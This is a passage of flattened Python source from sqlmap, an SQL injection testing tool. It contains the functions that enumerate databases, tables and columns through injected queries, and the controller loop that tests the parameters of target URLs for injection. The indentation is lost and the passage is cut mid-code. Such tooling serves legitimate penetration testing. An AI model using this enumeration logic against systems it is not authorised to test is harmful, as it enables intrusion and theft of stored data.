getLimitRange(count, plusOne=plusOne) for index in indexRange: if Backend.isDbms(DBMS.SYBASE): query = rootQuery.blind.query % (kb.data.cachedDbs[-1] if kb.data.cachedDbs else " ") elif Backend.isDbms( DBMS.MYSQL) and not kb.data.has_information_schema: query = rootQuery.blind.query2 % index else: query = rootQuery.blind.query % index db = unArrayizeValue( inject.getValue(query, union=False, error=False)) if db: kb.data.cachedDbs.append( safeSQLIdentificatorNaming(db)) if not kb.data.cachedDbs and Backend.isDbms(DBMS.MSSQL): if any( isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: blinds = (False, True) else: blinds = (True, ) for blind in blinds: count = 0 kb.data.cachedDbs = [] while True: query = rootQuery.inband.query2 % count value = unArrayizeValue(inject.getValue(query, blind=blind)) if not (value or "").strip(): break else: kb.data.cachedDbs.append(value) count += 1 if kb.data.cachedDbs: break if not kb.data.cachedDbs: infoMsg = "falling back to current database" logger.info(infoMsg) self.getCurrentDb() if kb.data.currentDb: kb.data.cachedDbs = [kb.data.currentDb] else: errMsg = "unable to retrieve the database names" raise SqlmapNoneDataException(errMsg) else: kb.data.cachedDbs.sort() if kb.data.cachedDbs: kb.data.cachedDbs = list(set(kb.data.cachedDbs)) return kb.data.cachedDbs
def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None): self.forceDbmsEnum() if conf.db is None or conf.db == CURRENT_DB: if conf.db is None: warnMsg = "missing database parameter. sqlmap is going " warnMsg += "to use the current database to enumerate " warnMsg += "table(s) columns" logger.warn(warnMsg) conf.db = self.getCurrentDb() if not conf.db: errMsg = "unable to retrieve the current " errMsg += "database name" raise SqlmapNoneDataException(errMsg) elif conf.db is not None: if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB): conf.db = conf.db.upper() if ',' in conf.db: errMsg = "only one database name is allowed when enumerating " errMsg += "the tables' columns" raise SqlmapMissingMandatoryOptionException(errMsg) conf.db = safeSQLIdentificatorNaming(conf.db) if conf.col: if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): conf.col = conf.col.upper() colList = conf.col.split(",") else: colList = [] for col in colList: colList[colList.index(col)] = safeSQLIdentificatorNaming(col) colList = filter(None, colList) if conf.tbl: if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): conf.tbl = conf.tbl.upper() tblList = conf.tbl.split(",") else: self.getTables() if len(kb.data.cachedTables) > 0: if conf.db in kb.data.cachedTables: tblList = kb.data.cachedTables[conf.db] else: tblList = kb.data.cachedTables.values() if isinstance(tblList[0], (set, tuple, list)): tblList = tblList[0] tblList = list(tblList) else: errMsg = "unable to retrieve the tables " errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming( conf.db) raise SqlmapNoneDataException(errMsg) tblList = filter(None, (safeSQLIdentificatorNaming(_, True) for _ in tblList)) if bruteForce is None: if Backend.isDbms( DBMS.MYSQL) and not kb.data.has_information_schema: errMsg = "information_schema not available, " errMsg += "back-end DBMS is MySQL < 5.0" logger.error(errMsg) bruteForce = True elif Backend.isDbms(DBMS.ACCESS): errMsg = "cannot retrieve column names, " errMsg += "back-end DBMS is Access" logger.error(errMsg) bruteForce = True if bruteForce: resumeAvailable = False for tbl in tblList: for db, table, colName, colType in kb.brute.columns: if db == conf.db and table == tbl: resumeAvailable = True break if resumeAvailable or colList: columns = {} for column in colList: columns[column] = None for tbl in tblList: for db, table, colName, colType in kb.brute.columns: if db == conf.db and table == tbl: columns[colName] = colType if conf.db in kb.data.cachedColumns: kb.data.cachedColumns[safeSQLIdentificatorNaming( conf.db)][safeSQLIdentificatorNaming( tbl, True)] = columns else: kb.data.cachedColumns[safeSQLIdentificatorNaming( conf.db)] = { safeSQLIdentificatorNaming(tbl, True): columns } return kb.data.cachedColumns message = "do you want to use common column existence check? %s" % ( "[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS, ) else "[y/N/q]") test = readInput(message, default="Y" if "Y" in message else "N") if test[0] in ("n", "N"): return elif test[0] in ("q", "Q"): raise SqlmapUserQuitException else: return columnExists(paths.COMMON_COLUMNS) rootQuery = queries[Backend.getIdentifiedDbms()].columns condition = rootQuery.blind.condition if 'condition' in rootQuery.blind else None if any( isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: for tbl in tblList: if conf.db is not None and len(kb.data.cachedColumns) > 0 \ and conf.db in kb.data.cachedColumns and tbl in \ kb.data.cachedColumns[conf.db]: infoMsg = "fetched tables' columns on " infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming( conf.db) logger.info(infoMsg) return {conf.db: kb.data.cachedColumns[conf.db]} infoMsg = "fetching columns " condQuery = "" if len(colList) > 0: if colTuple: _, colCondParam = colTuple infoMsg += "like '%s' " % ", ".join( unsafeSQLIdentificatorNaming(col) for col in sorted(colList)) else: colCondParam = "='%s'" infoMsg += "'%s' " % ", ".join( unsafeSQLIdentificatorNaming(col) for col in sorted(colList)) condQueryStr = "%%s%s" % colCondParam condQuery = " AND (%s)" % " OR ".join( condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList)) infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming( tbl) infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming( conf.db) logger.info(infoMsg) if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB): query = rootQuery.inband.query % ( unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): query = rootQuery.inband.query % ( unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) query += condQuery elif Backend.isDbms(DBMS.MSSQL): query = rootQuery.inband.query % ( conf.db, conf.db, conf.db, conf.db, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(".")[-1]) query += condQuery.replace("[DB]", conf.db) elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD): query = rootQuery.inband.query % tbl values = inject.getValue(query, blind=False, time=False) if Backend.isDbms(DBMS.MSSQL) and isNoneValue(values): index, values = 1, [] while True: query = rootQuery.inband.query2 % (conf.db, tbl, index) value = unArrayizeValue( inject.getValue(query, blind=False, time=False)) if isNoneValue(value) or value == " ": break else: values.append((value, )) index += 1 if Backend.isDbms(DBMS.SQLITE): parseSqliteTableSchema(unArrayizeValue(values)) elif not isNoneValue(values): table = {} columns = {} for columnData in values: if not isNoneValue(columnData): name = safeSQLIdentificatorNaming(columnData[0]) if name: if conf.getComments: _ = queries[Backend.getIdentifiedDbms( )].column_comment if hasattr(_, "query"): if Backend.getIdentifiedDbms() in ( DBMS.ORACLE, DBMS.DB2): query = _.query % ( unsafeSQLIdentificatorNaming( conf.db.upper()), unsafeSQLIdentificatorNaming( tbl.upper()), unsafeSQLIdentificatorNaming( name.upper())) else: query = _.query % ( unsafeSQLIdentificatorNaming( conf.db), unsafeSQLIdentificatorNaming( tbl), unsafeSQLIdentificatorNaming( name)) comment = unArrayizeValue( inject.getValue(query, blind=False, time=False)) else: warnMsg = "on %s it is not " % Backend.getIdentifiedDbms( ) warnMsg += "possible to get column comments" singleTimeWarnMessage(warnMsg) if len(columnData) == 1: columns[name] = None else: if Backend.isDbms(DBMS.FIREBIRD): columnData[1] = FIREBIRD_TYPES.get( columnData[1], columnData[1]) columns[name] = columnData[1] if conf.db in kb.data.cachedColumns: kb.data.cachedColumns[safeSQLIdentificatorNaming( conf.db)][safeSQLIdentificatorNaming( tbl, True)] = columns else: table[safeSQLIdentificatorNaming(tbl, True)] = columns kb.data.cachedColumns[safeSQLIdentificatorNaming( conf.db)] = table elif isInferenceAvailable() and not conf.direct: for tbl in tblList: if conf.db is not None and len(kb.data.cachedColumns) > 0 \ and conf.db in kb.data.cachedColumns and tbl in \ kb.data.cachedColumns[conf.db]: infoMsg = "fetched tables' columns on " infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming( conf.db) logger.info(infoMsg) return {conf.db: kb.data.cachedColumns[conf.db]} infoMsg = "fetching columns " condQuery = "" if len(colList) > 0: if colTuple: _, colCondParam = colTuple infoMsg += "like '%s' " % ", ".join( unsafeSQLIdentificatorNaming(col) for col in sorted(colList)) else: colCondParam = "='%s'" infoMsg += "'%s' " % ", ".join( unsafeSQLIdentificatorNaming(col) for col in sorted(colList)) condQueryStr = "%%s%s" % colCondParam condQuery = " AND (%s)" % " OR ".join( condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList)) infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming( tbl) infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming( conf.db) logger.info(infoMsg) if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): query = rootQuery.blind.count % ( unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): query = rootQuery.blind.count % ( unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) query += condQuery elif Backend.isDbms(DBMS.MSSQL): query = rootQuery.blind.count % (conf.db, conf.db, \ unsafeSQLIdentificatorNaming(tbl).split(".")[-1]) query += condQuery.replace("[DB]", conf.db) elif Backend.isDbms(DBMS.FIREBIRD): query = rootQuery.blind.count % (tbl) query += condQuery elif Backend.isDbms(DBMS.SQLITE): query = rootQuery.blind.query % tbl value = unArrayizeValue( inject.getValue(query, union=False, error=False)) parseSqliteTableSchema(value) return kb.data.cachedColumns count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) table = {} columns = {} if not isNumPosStrValue(count): if Backend.isDbms(DBMS.MSSQL): count, index, values = 0, 1, [] while True: query = rootQuery.blind.query3 % (conf.db, tbl, index) value = unArrayizeValue( inject.getValue(query, union=False, error=False)) if isNoneValue(value) or value == " ": break else: columns[safeSQLIdentificatorNaming( value)] = None index += 1 if not columns: errMsg = "unable to retrieve the %scolumns " % ( "number of " if not Backend.isDbms(DBMS.MSSQL) else "") errMsg += "for table '%s' " % unsafeSQLIdentificatorNaming( tbl) errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming( conf.db) logger.error(errMsg) continue for index in getLimitRange(count): if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): query = rootQuery.blind.query % ( unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery field = None elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): query = rootQuery.blind.query % ( unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) query += condQuery field = None elif Backend.isDbms(DBMS.MSSQL): query = rootQuery.blind.query.replace( "'%s'", "'%s'" % unsafeSQLIdentificatorNaming(tbl).split(".")[-1] ).replace("%s", conf.db).replace("%d", str(index)) query += condQuery.replace("[DB]", conf.db) field = condition.replace("[DB]", conf.db) elif Backend.isDbms(DBMS.FIREBIRD): query = rootQuery.blind.query % (tbl) query += condQuery field = None query = agent.limitQuery(index, query, field, field) column = unArrayizeValue( inject.getValue(query, union=False, error=False)) if not isNoneValue(column): if conf.getComments: _ = queries[ Backend.getIdentifiedDbms()].column_comment if hasattr(_, "query"): if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): query = _.query % ( unsafeSQLIdentificatorNaming( conf.db.upper()), unsafeSQLIdentificatorNaming( tbl.upper()), unsafeSQLIdentificatorNaming( column.upper())) else: query = _.query % ( unsafeSQLIdentificatorNaming(conf.db), unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(column)) comment = unArrayizeValue( inject.getValue(query, union=False, error=False)) else: warnMsg = "on %s it is not " % Backend.getIdentifiedDbms( ) warnMsg += "possible to get column comments" singleTimeWarnMessage(warnMsg) if not onlyColNames: if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): query = rootQuery.blind.query2 % ( unsafeSQLIdentificatorNaming(tbl), column, unsafeSQLIdentificatorNaming(conf.db)) elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): query = rootQuery.blind.query2 % ( unsafeSQLIdentificatorNaming( tbl.upper()), column, unsafeSQLIdentificatorNaming( conf.db.upper())) elif Backend.isDbms(DBMS.MSSQL): query = rootQuery.blind.query2 % ( conf.db, conf.db, conf.db, conf.db, column, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split( ".")[-1]) elif Backend.isDbms(DBMS.FIREBIRD): query = rootQuery.blind.query2 % (tbl, column) colType = unArrayizeValue( inject.getValue(query, union=False, error=False)) if Backend.isDbms(DBMS.FIREBIRD): colType = FIREBIRD_TYPES.get(colType, colType) column = safeSQLIdentificatorNaming(column) columns[column] = colType else: column = safeSQLIdentificatorNaming(column) columns[column] = None if columns: if conf.db in kb.data.cachedColumns: kb.data.cachedColumns[safeSQLIdentificatorNaming( conf.db)][safeSQLIdentificatorNaming( tbl, True)] = columns else: table[safeSQLIdentificatorNaming(tbl, True)] = columns kb.data.cachedColumns[safeSQLIdentificatorNaming( conf.db)] = table if not kb.data.cachedColumns: warnMsg = "unable to retrieve column names for " warnMsg += ("table '%s' " % unsafeSQLIdentificatorNaming(unArrayizeValue(tblList)) ) if len(tblList) == 1 else "any table " warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming( conf.db) logger.warn(warnMsg) if bruteForce is None: return self.getColumns(onlyColNames=onlyColNames, colTuple=colTuple, bruteForce=True) return kb.data.cachedColumns
def getTables(self, bruteForce=None): if len(kb.data.cachedTables) > 0: return kb.data.cachedTables self.forceDbmsEnum() if bruteForce is None: if Backend.isDbms( DBMS.MYSQL) and not kb.data.has_information_schema: errMsg = "information_schema not available, " errMsg += "back-end DBMS is MySQL < 5.0" logger.error(errMsg) bruteForce = True elif Backend.isDbms(DBMS.ACCESS): try: tables = self.getTables(False) except SqlmapNoneDataException: tables = None if not tables: errMsg = "cannot retrieve table names, " errMsg += "back-end DBMS is Access" logger.error(errMsg) bruteForce = True else: return tables if conf.db == CURRENT_DB: conf.db = self.getCurrentDb() if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB): conf.db = conf.db.upper() if conf.db: dbs = conf.db.split(",") else: dbs = self.getDbs() for db in dbs: dbs[dbs.index(db)] = safeSQLIdentificatorNaming(db) dbs = filter(None, dbs) if bruteForce: resumeAvailable = False for db, table in kb.brute.tables: if db == conf.db: resumeAvailable = True break if resumeAvailable: for db, table in kb.brute.tables: if db == conf.db: if conf.db not in kb.data.cachedTables: kb.data.cachedTables[conf.db] = [table] else: kb.data.cachedTables[conf.db].append(table) return kb.data.cachedTables message = "do you want to use common table existence check? %s" % ( "[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS, ) else "[y/N/q]") test = readInput(message, default="Y" if "Y" in message else "N") if test[0] in ("n", "N"): return elif test[0] in ("q", "Q"): raise SqlmapUserQuitException else: return tableExists(paths.COMMON_TABLES) infoMsg = "fetching tables for database" infoMsg += "%s: '%s'" % ("s" if len(dbs) > 1 else "", ", ".join( unsafeSQLIdentificatorNaming(unArrayizeValue(db)) for db in sorted(dbs))) logger.info(infoMsg) rootQuery = queries[Backend.getIdentifiedDbms()].tables if any( isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: query = rootQuery.inband.query condition = rootQuery.inband.condition if 'condition' in rootQuery.inband else None if condition: if not Backend.isDbms(DBMS.SQLITE): query += " WHERE %s" % condition if conf.excludeSysDbs: infoMsg = "skipping system database%s '%s'" % ( "s" if len(self.excludeDbsList) > 1 else "", ", ".join( unsafeSQLIdentificatorNaming(db) for db in self.excludeDbsList)) logger.info(infoMsg) query += " IN (%s)" % ",".join( "'%s'" % unsafeSQLIdentificatorNaming(db) for db in sorted(dbs) if db not in self.excludeDbsList) else: query += " IN (%s)" % ",".join( "'%s'" % unsafeSQLIdentificatorNaming(db) for db in sorted(dbs)) if len(dbs) < 2 and ("%s," % condition) in query: query = query.replace("%s," % condition, "", 1) values = inject.getValue(query, blind=False, time=False) if not isNoneValue(values): values = filter(None, arrayizeValue(values)) if len(values) > 0 and not isListLike(values[0]): values = [(dbs[0], _) for _ in values] for db, table in filterPairValues(values): db = safeSQLIdentificatorNaming(db) table = safeSQLIdentificatorNaming(table, True) if db not in kb.data.cachedTables: kb.data.cachedTables[db] = [table] else: kb.data.cachedTables[db].append(table) if not kb.data.cachedTables and isInferenceAvailable( ) and not conf.direct: for db in dbs: if conf.excludeSysDbs and db in self.excludeDbsList: infoMsg = "skipping system database '%s'" % unsafeSQLIdentificatorNaming( db) logger.info(infoMsg) continue infoMsg = "fetching number of tables for " infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(db) logger.info(infoMsg) if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.ACCESS): query = rootQuery.blind.count else: query = rootQuery.blind.count % unsafeSQLIdentificatorNaming( db) count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if count == 0: warnMsg = "database '%s' " % unsafeSQLIdentificatorNaming( db) warnMsg += "appears to be empty" logger.warn(warnMsg) continue elif not isNumPosStrValue(count): warnMsg = "unable to retrieve the number of " warnMsg += "tables for database '%s'" % unsafeSQLIdentificatorNaming( db) logger.warn(warnMsg) continue tables = [] plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2) indexRange = getLimitRange(count, plusOne=plusOne) for index in indexRange: if Backend.isDbms(DBMS.SYBASE): query = rootQuery.blind.query % (db, ( kb.data.cachedTables[-1] if kb.data.cachedTables else " ")) elif Backend.getIdentifiedDbms() in (DBMS.MAXDB, DBMS.ACCESS): query = rootQuery.blind.query % ( kb.data.cachedTables[-1] if kb.data.cachedTables else " ") elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD): query = rootQuery.blind.query % index else: query = rootQuery.blind.query % ( unsafeSQLIdentificatorNaming(db), index) table = unArrayizeValue( inject.getValue(query, union=False, error=False)) if not isNoneValue(table): kb.hintValue = table table = safeSQLIdentificatorNaming(table, True) tables.append(table) if tables: kb.data.cachedTables[db] = tables else: warnMsg = "unable to retrieve the table names " warnMsg += "for database '%s'" % unsafeSQLIdentificatorNaming( db) logger.warn(warnMsg) if isNoneValue(kb.data.cachedTables): kb.data.cachedTables.clear() if not kb.data.cachedTables: errMsg = "unable to retrieve the table names for any database" if bruteForce is None: logger.error(errMsg) return self.getTables(bruteForce=True) else: raise SqlmapNoneDataException(errMsg) else: for db, tables in kb.data.cachedTables.items(): kb.data.cachedTables[db] = sorted(tables) if tables else tables if kb.data.cachedTables: for db in kb.data.cachedTables.keys(): kb.data.cachedTables[db] = list(set(kb.data.cachedTables[db])) return kb.data.cachedTables
def start(): """ This function calls a function that performs checks on both URL stability and all GET, POST, Cookie and User-Agent parameters to check if they are dynamic and SQL injection affected """ if conf.hashFile: crackHashFile(conf.hashFile) if conf.direct: initTargetEnv() setupTargetEnv() action() return True if conf.url and not any((conf.forms, conf.crawlDepth)): kb.targets.add((conf.url, conf.method, conf.data, conf.cookie, None)) if conf.configFile and not kb.targets: errMsg = "you did not edit the configuration file properly, set " errMsg += "the target URL, list of targets or google dork" logger.error(errMsg) return False if kb.targets and len(kb.targets) > 1: infoMsg = "sqlmap got a total of %d targets" % len(kb.targets) logger.info(infoMsg) hostCount = 0 initialHeaders = list(conf.httpHeaders) for targetUrl, targetMethod, targetData, targetCookie, targetHeaders in kb.targets: try: if conf.checkInternet: infoMsg = "checking for Internet connection" logger.info(infoMsg) if not checkInternet(): warnMsg = "[%s] [WARNING] no connection detected" % time.strftime("%X") dataToStdout(warnMsg) while not checkInternet(): dataToStdout('.') time.sleep(5) dataToStdout("\n") conf.url = targetUrl conf.method = targetMethod.upper() if targetMethod else targetMethod conf.data = targetData conf.cookie = targetCookie conf.httpHeaders = list(initialHeaders) conf.httpHeaders.extend(targetHeaders or []) if conf.randomAgent or conf.mobile: for header, value in initialHeaders: if header.upper() == HTTP_HEADER.USER_AGENT.upper(): conf.httpHeaders.append((header, value)) break conf.httpHeaders = [conf.httpHeaders[i] for i in xrange(len(conf.httpHeaders)) if conf.httpHeaders[i][0].upper() not in (__[0].upper() for __ in conf.httpHeaders[i + 1:])] initTargetEnv() parseTargetUrl() testSqlInj = False if PLACE.GET in conf.parameters and not any((conf.data, conf.testParameter)): for parameter in re.findall(r"([^=]+)=([^%s]+%s?|\Z)" % (re.escape(conf.paramDel or "") or DEFAULT_GET_POST_DELIMITER, re.escape(conf.paramDel or "") or DEFAULT_GET_POST_DELIMITER), conf.parameters[PLACE.GET]): paramKey = (conf.hostname, conf.path, PLACE.GET, parameter[0]) if paramKey not in kb.testedParams: testSqlInj = True break else: paramKey = (conf.hostname, conf.path, None, None) if paramKey not in kb.testedParams: testSqlInj = True if testSqlInj and conf.hostname in kb.vulnHosts: if kb.skipVulnHost is None: message = "SQL injection vulnerability has already been detected " message += "against '%s'. Do you want to skip " % conf.hostname message += "further tests involving it? [Y/n]" kb.skipVulnHost = readInput(message, default='Y', boolean=True) testSqlInj = not kb.skipVulnHost if not testSqlInj: infoMsg = "skipping '%s'" % targetUrl logger.info(infoMsg) continue if conf.multipleTargets: hostCount += 1 if conf.forms and conf.method: message = "[#%d] form:\n%s %s" % (hostCount, conf.method, targetUrl) else: message = "URL %d:\n%s %s" % (hostCount, HTTPMETHOD.GET, targetUrl) if conf.cookie: message += "\nCookie: %s" % conf.cookie if conf.data is not None: message += "\n%s data: %s" % ((conf.method if conf.method != HTTPMETHOD.GET else conf.method) or HTTPMETHOD.POST, urlencode(conf.data) if conf.data else "") if conf.forms and conf.method: if conf.method == HTTPMETHOD.GET and targetUrl.find("?") == -1: continue message += "\ndo you want to test this form? [Y/n/q] " choice = readInput(message, default='Y').upper() if choice == 'N': continue elif choice == 'Q': break else: if conf.method != HTTPMETHOD.GET: message = "Edit %s data [default: %s]%s: " % (conf.method, urlencode(conf.data) if conf.data else "None", " (Warning: blank fields detected)" if conf.data and extractRegexResult(EMPTY_FORM_FIELDS_REGEX, conf.data) else "") conf.data = readInput(message, default=conf.data) conf.data = _randomFillBlankFields(conf.data) conf.data = urldecode(conf.data) if conf.data and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in conf.data else conf.data else: if '?' in targetUrl: firstPart, secondPart = targetUrl.split('?', 1) message = "Edit GET data [default: %s]: " % secondPart test = readInput(message, default=secondPart) test = _randomFillBlankFields(test) conf.url = "%s?%s" % (firstPart, test) parseTargetUrl() else: message += "\ndo you want to test this URL? [Y/n/q]" choice = readInput(message, default='Y').upper() if choice == 'N': dataToStdout(os.linesep) continue elif choice == 'Q': break infoMsg = "testing URL '%s'" % targetUrl logger.info(infoMsg) setupTargetEnv() if not checkConnection(suppressOutput=conf.forms) or not checkString() or not checkRegexp(): continue if conf.rParam and kb.originalPage: kb.randomPool = dict([_ for _ in kb.randomPool.items() if isinstance(_[1], list)]) for match in re.finditer(r"(?si)<select[^>]+\bname\s*=\s*[\"']([^\"']+)(.+?)</select>", kb.originalPage): name, _ = match.groups() options = tuple(re.findall(r"<option[^>]+\bvalue\s*=\s*[\"']([^\"']+)", _)) if options: kb.randomPool[name] = options checkWaf() if conf.nullConnection: checkNullConnection() if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None)) and (kb.injection.place is None or kb.injection.parameter is None): if not any((conf.string, conf.notString, conf.regexp)) and PAYLOAD.TECHNIQUE.BOOLEAN in conf.technique: # NOTE: this is not needed anymore, leaving only to display # a warning message to the user in case the page is not stable checkStability() # Do a little prioritization reorder of a testable parameter list parameters = list(conf.parameters.keys()) # Order of testing list (first to last) orderList = (PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER, PLACE.URI, PLACE.POST, PLACE.GET) for place in orderList[::-1]: if place in parameters: parameters.remove(place) parameters.insert(0, place) proceed = True for place in parameters: # Test User-Agent and Referer headers only if # --level >= 3 skip = (place == PLACE.USER_AGENT and conf.level < 3) skip |= (place == PLACE.REFERER and conf.level < 3) # --param-filter skip |= (len(conf.paramFilter) > 0 and place.upper() not in conf.paramFilter) # Test Host header only if # --level >= 5 skip |= (place == PLACE.HOST and conf.level < 5) # Test Cookie header only if --level >= 2 skip |= (place == PLACE.COOKIE and conf.level < 2) skip |= (place == PLACE.USER_AGENT and intersect(USER_AGENT_ALIASES, conf.skip, True) not in ([], None)) skip |= (place == PLACE.REFERER and intersect(REFERER_ALIASES, conf.skip, True) not in ([], None)) skip |= (place == PLACE.COOKIE and intersect(PLACE.COOKIE, conf.skip, True) not in ([], None)) skip |= (place == PLACE.HOST and intersect(PLACE.HOST, conf.skip, True) not in ([], None)) skip &= not (place == PLACE.USER_AGENT and intersect(USER_AGENT_ALIASES, conf.testParameter, True)) skip &= not (place == PLACE.REFERER and intersect(REFERER_ALIASES, conf.testParameter, True)) skip &= not (place == PLACE.HOST and intersect(HOST_ALIASES, conf.testParameter, True)) skip &= not (place == PLACE.COOKIE and intersect((PLACE.COOKIE,), conf.testParameter, True)) if skip: continue if kb.testOnlyCustom and place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER): continue if place not in conf.paramDict: continue paramDict = conf.paramDict[place] paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place for parameter, value in paramDict.items(): if not proceed: break kb.vainRun = False testSqlInj = True paramKey = (conf.hostname, conf.path, place, parameter) if paramKey in kb.testedParams: testSqlInj = False infoMsg = "skipping previously processed %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter) logger.info(infoMsg) elif any(_ in conf.testParameter for _ in (parameter, removePostHintPrefix(parameter))): pass elif parameter in conf.rParam: testSqlInj = False infoMsg = "skipping randomizing %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter) logger.info(infoMsg) elif parameter in conf.skip or kb.postHint and parameter.split(' ')[-1] in conf.skip: testSqlInj = False infoMsg = "skipping %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter) logger.info(infoMsg) elif conf.paramExclude and (re.search(conf.paramExclude, parameter, re.I) or kb.postHint and re.search(conf.paramExclude, parameter.split(' ')[-1], re.I)): testSqlInj = False infoMsg = "skipping %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter) logger.info(infoMsg) elif conf.csrfToken and re.search(conf.csrfToken, parameter, re.I): testSqlInj = False infoMsg = "skipping anti-CSRF token parameter '%s'" % parameter logger.info(infoMsg) # Ignore session-like parameters for --level < 4 elif conf.level < 4 and (parameter.upper() in IGNORE_PARAMETERS or any(_ in parameter.lower() for _ in CSRF_TOKEN_PARAMETER_INFIXES) or parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX)): testSqlInj = False infoMsg = "ignoring %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter) logger.info(infoMsg) elif PAYLOAD.TECHNIQUE.BOOLEAN in conf.technique or conf.skipStatic: check = checkDynParam(place, parameter, value) if not check: warnMsg = "%sparameter '%s' does not appear to be dynamic" % ("%s " % paramType if paramType != parameter else "", parameter) logger.warn(warnMsg) if conf.skipStatic: infoMsg = "skipping static %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter) logger.info(infoMsg) testSqlInj = False else: infoMsg = "%sparameter '%s' appears to be dynamic" % ("%s " % paramType if paramType != parameter else "", parameter) logger.info(infoMsg) kb.testedParams.add(paramKey) if testSqlInj: try: if place == PLACE.COOKIE: pushValue(kb.mergeCookies) kb.mergeCookies = False check = heuristicCheckSqlInjection(place, parameter) if check != HEURISTIC_TEST.POSITIVE: if conf.smart or (kb.ignoreCasted and check == HEURISTIC_TEST.CASTED): infoMsg = "skipping %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter) logger.info(infoMsg) continue infoMsg = "testing for SQL injection on %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter) logger.info(infoMsg) injection = checkSqlInjection(place, parameter, value) proceed = not kb.endDetection injectable = False if getattr(injection, "place", None) is not None: if NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE in injection.notes: kb.falsePositives.append(injection) else: injectable = True kb.injections.append(injection) # In case when user wants to end detection phase (Ctrl+C) if not proceed: break msg = "%sparameter '%s' " % ("%s " % injection.place if injection.place != injection.parameter else "", injection.parameter) msg += "is vulnerable. Do you want to keep testing the others (if any)? [y/N] " if not readInput(msg, default='N', boolean=True): proceed = False paramKey = (conf.hostname, conf.path, None, None) kb.testedParams.add(paramKey) if not injectable: warnMsg = "%sparameter '%s' does not seem to be injectable" % ("%s " % paramType if paramType != parameter else "", parameter) logger.warn(warnMsg) finally: if place == PLACE.COOKIE: kb.mergeCookies = popValue() if len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None): if kb.vainRun and not conf.multipleTargets: errMsg = "no parameter(s) found for testing in the provided data " errMsg += "(e.g. GET parameter 'id' in 'www.site.com/index.php?id=1')" if kb.originalPage: advice = [] if not conf.forms and re.search(r"<form", kb.originalPage) is not None: advice.append("--forms") if not 